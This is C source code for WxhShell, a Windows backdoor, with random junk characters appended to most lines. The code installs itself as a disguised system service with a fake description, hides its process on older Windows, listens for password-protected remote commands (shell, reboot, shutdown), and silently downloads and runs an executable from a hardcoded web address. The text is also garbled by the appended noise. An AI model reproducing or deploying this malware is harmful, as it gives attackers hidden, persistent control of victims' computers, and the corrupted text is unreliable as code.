DWORD BasePriority; @ ^.*$E5
ULONG UniqueProcessId; 5#uO'<2$
ULONG InheritedFromUniqueProcessId; <aVfJd/fT
} PROCESS_BASIC_INFORMATION; W^R'@
76MsrOv55
PROCNTQSIP NtQueryInformationProcess; k^*$^;z
_Y#Bm/*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?`. XK}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yo'K pdn
~gt3Omh
HANDLE hProcess; ZLJNw0!=|t
PROCESS_BASIC_INFORMATION pbi; TG]}X\c+V|
oyQ0V94j
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <IH*\q:7
if(NULL == hInst ) return 0; )F
E8D
3H'*?|Y(#
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r<_2qICgP
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d
Uz<1^L
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u+DX$#-n!]
;IhPvff
if (!NtQueryInformationProcess) return 0; Sh$U-ch@
jZ#UUnR%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]wf|PU~nr
if(!hProcess) return 0; ?pKN'`
=h[yAf
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |8'B/
p=
qb$_xIQpDL
CloseHandle(hProcess); %yhI;M^
i*
gKtjx
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `oPLl0
if(hProcess==NULL) return 0; AA.Ys89V
#^;s<YZ`
HMODULE hMod; <i7agEdZD
char procName[255]; z5ZKks
unsigned long cbNeeded; qOgtGN}k
FK3Whe{KP{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -$m@*L
xH@'H?
CloseHandle(hProcess); ,5:![
9b%|^.B
if(strstr(procName,"services")) return 1; // 以服务启动 N*':U^/t4J
"B?R|
Xg
return 0; // 注册表启动 Kt6C43]7
} ooDdV
>
DA=qeVBg
// 主模块 g~|y$T
int StartWxhshell(LPSTR lpCmdLine) W/a,.M
{ ^f6
{0
SOCKET wsl; H}a)^90_
BOOL val=TRUE; 3FuCW
int port=0; Seg#s.
struct sockaddr_in door; ?4MSgu
sU0Stg8&b
if(wscfg.ws_autoins) Install(); d["x=
[f
&p)@8HY
port=atoi(lpCmdLine); mDlCt_h
b.@H1L
if(port<=0) port=wscfg.ws_port; q$|0)}
v10mDr
WSADATA data; MN\i-vAL8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z$1.^H.Db
*b:u*`@
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +*: }p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2*Va9HP!q
door.sin_family = AF_INET; nZ541o@t9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !2#\| NJk
door.sin_port = htons(port); L%k67>
A0UV+ -PP
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lp!0H `L
closesocket(wsl); 2'|XtSj
return 1; CH55K[{<
} F:M/z#:~
*&h6*zP?
if(listen(wsl,2) == INVALID_SOCKET) { G 2!}R
closesocket(wsl); 7KeXWW/ d
return 1; 3>H2xh 3Y
} "OVi /:*B
Wxhshell(wsl); ?ISI[hoc
WSACleanup(); A\Lr<{Jh
5Ws5X_?d
return 0; ;A
x=]Q
#dHr&1(
} -|6V}wHg~
~Ry
$>n*/
// 以NT服务方式启动 ^8b~ZX
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KSF5)CZ5
{ qK{|Q
DWORD status = 0; \)uy"+ Z`
DWORD specificError = 0xfffffff; *iPs4Es-
) )fDOJ
serviceStatus.dwServiceType = SERVICE_WIN32; !}z%#$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; qw9e)
`3$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jM6uT'Io
serviceStatus.dwWin32ExitCode = 0; qK<aZ%V
serviceStatus.dwServiceSpecificExitCode = 0; X@i+&Nv"<
serviceStatus.dwCheckPoint = 0; yBr$ 0$
serviceStatus.dwWaitHint = 0; BT&rp%NO6l
%j~9O~-
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C<zx'lw!
if (hServiceStatusHandle==0) return; I[tAT[ <
9` OG
status = GetLastError(); 7yo|ie@S
if (status!=NO_ERROR) C}x4#bNK
{ [6Uud iw
serviceStatus.dwCurrentState = SERVICE_STOPPED; e@='Q H
serviceStatus.dwCheckPoint = 0; QBg}2.
serviceStatus.dwWaitHint = 0; xmCm3ekmpC
serviceStatus.dwWin32ExitCode = status; nwZ[Ygl|
serviceStatus.dwServiceSpecificExitCode = specificError; R
tXF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3N(8|wh
return; >l7eoj
} h<PYE]?l
[{hL F9yPx
serviceStatus.dwCurrentState = SERVICE_RUNNING; !X \Sp}
serviceStatus.dwCheckPoint = 0; >qSO,$
serviceStatus.dwWaitHint = 0; g_3rEvf"4
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $#6Fnhh}
} Y2RxD\!Z
AlPL;^Y_l
// 处理NT服务事件,比如:启动、停止 `XQx$I
VOID WINAPI NTServiceHandler(DWORD fdwControl) T{5M1r
{ z6GL,wo#
switch(fdwControl) (H|%?F;{l
{ o+)m}'T8
case SERVICE_CONTROL_STOP: z|t.y.JX
serviceStatus.dwWin32ExitCode = 0; $i1>?pb3
serviceStatus.dwCurrentState = SERVICE_STOPPED; O3slabE#
serviceStatus.dwCheckPoint = 0; 2dp*>F0L
serviceStatus.dwWaitHint = 0; |THkS@Br
{ OF<[Nh\.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~m,mvRS
} ^*$WZMMJ1
return; FvtM~[Q
case SERVICE_CONTROL_PAUSE: brpN>\
serviceStatus.dwCurrentState = SERVICE_PAUSED; MSxU>FX0
break; fzPgX
case SERVICE_CONTROL_CONTINUE: BMtYM{S6
serviceStatus.dwCurrentState = SERVICE_RUNNING; @E&X&F%
break; m%BMd
case SERVICE_CONTROL_INTERROGATE: +#i,87
break; (
SC7m/
}; DbPBgD>Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j,gM+4V^
} Yp?a=R
(<5'ceF)X
// 标准应用程序主函数 .q|xMS}4
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gvwCoCbb
{ JY;#]'T\;
R[ +]d|L
// 获取操作系统版本 ] BP^.N=
OsIsNt=GetOsVer(); DI"dY
ug#
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cbf,X[u
$)i"[
// 从命令行安装 G%W03c
if(strpbrk(lpCmdLine,"iI")) Install(); OM.(g%2
@/ovdf{
// 下载执行文件 * Kp ^al
if(wscfg.ws_downexe) { =-a?oH-
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I{X@<o}
WinExec(wscfg.ws_filenam,SW_HIDE); w-q=.RSTn=
} [))2u:tbS\
M#22Zfxq
if(!OsIsNt) { U%SNROj
// 如果时win9x,隐藏进程并且设置为注册表启动 z<C~DH
HideProc(); G@l|u
StartWxhshell(lpCmdLine); a}+_Yo(Q
} nG(|7x
else 5D q{"@E
if(StartFromService()) b "AHw?5F
// 以服务方式启动 fSb@7L
StartServiceCtrlDispatcher(DispatchTable); h^3Vd K,
else _|2";.1E
// 普通方式启动 %@,:RA\pm
StartWxhshell(lpCmdLine); h?O%XnD
)F9V=PJE
return 0; O'?lW~CD.>
} i~M.F=I5
kQ:>j.^e
Q0oDl8~
61 HqBa
=========================================== J1wGK|F~
;kcFQed\w
?(XX
?eZ"UGZg'
9cHNwgD>v
s?gXp{O?X
" ~o\]K
b9!J}hto,
#include <stdio.h> A 5\"e^>
#include <string.h> 'J<zVD}0
#include <windows.h> )I1V2k$n
#include <winsock2.h> (5\d[||9g
#include <winsvc.h> N_~Wu
#include <urlmon.h> Ymh2qGcj]8
pLFL6\{g
#pragma comment (lib, "Ws2_32.lib") jZgnt{
#pragma comment (lib, "urlmon.lib") Sr-^faL
B=qRZA!DQ?
#define MAX_USER 100 // 最大客户端连接数 SX<>6vH&
#define BUF_SOCK 200 // sock buffer zK]%qv]
#define KEY_BUFF 255 // 输入 buffer l=G#gKE
I2!&=" 7@
#define REBOOT 0 // 重启 X\:(8C;+
#define SHUTDOWN 1 // 关机 ;Z0cD*Jb
&ppZRdq]
#define DEF_PORT 5000 // 监听端口 :=fHPT
}z%/6`7)|
#define REG_LEN 16 // 注册表键长度 oHGf |
#define SVC_LEN 80 // NT服务名长度 VHkrPJ[
$+yQ48Wq
// 从dll定义API mCP +7q7
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %.}
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); - cC(d$y
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y@xeyMzE
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xH.q
M>l+[U
// wxhshell配置信息 P=hf/jOv9
struct WSCFG { fXR_)d
int ws_port; // 监听端口 $zH0$aOx
char ws_passstr[REG_LEN]; // 口令 :'Kx?Es
int ws_autoins; // 安装标记, 1=yes 0=no M(gWd8?#
char ws_regname[REG_LEN]; // 注册表键名 ."g5+ xX
char ws_svcname[REG_LEN]; // 服务名 =*G'.D /*
char ws_svcdisp[SVC_LEN]; // 服务显示名 Cl){sP=8W
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fd=`9N9
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hm[!R:HW,S
int ws_downexe; // 下载执行标记, 1=yes 0=no QRix_2+
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Al;oI3
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mAERZ<I
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}; im%3*bv-
}Bg<Fm
// default Wxhshell configuration QE6-(/
struct WSCFG wscfg={DEF_PORT, 8?R_O}U
"xuhuanlingzhe", Rs`Y'_B
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"Wxhshell", tAn6pGp
"Wxhshell", DccsVR`7
"WxhShell Service", ;'+cT.cmH
"Wrsky Windows CmdShell Service", pIjVJ9+j
"Please Input Your Password: ", jCa;g{#@
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"http://www.wrsky.com/wxhshell.exe", Tj~#Xc
"Wxhshell.exe" nWsz0v3'9
}; j ZafwBi
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// 消息定义模块 [Y~ s
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f@g
char *msg_ws_prompt="\n\r? for help\n\r#>"; }#
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char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LxDhthZi_
char *msg_ws_ext="\n\rExit."; 2$UR"P
char *msg_ws_end="\n\rQuit."; Bbp9Q,4
char *msg_ws_boot="\n\rReboot..."; 1#uw^{n
char *msg_ws_poff="\n\rShutdown..."; ~;s)0M
char *msg_ws_down="\n\rSave to "; md
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(HxF\#r?
char *msg_ws_err="\n\rErr!"; |
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char *msg_ws_ok="\n\rOK!"; 9^olAfX`dB
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char ExeFile[MAX_PATH]; S!cXc/H-R
int nUser = 0; &d;$k
HANDLE handles[MAX_USER]; 5Yr$dNe
int OsIsNt; {P+[CO
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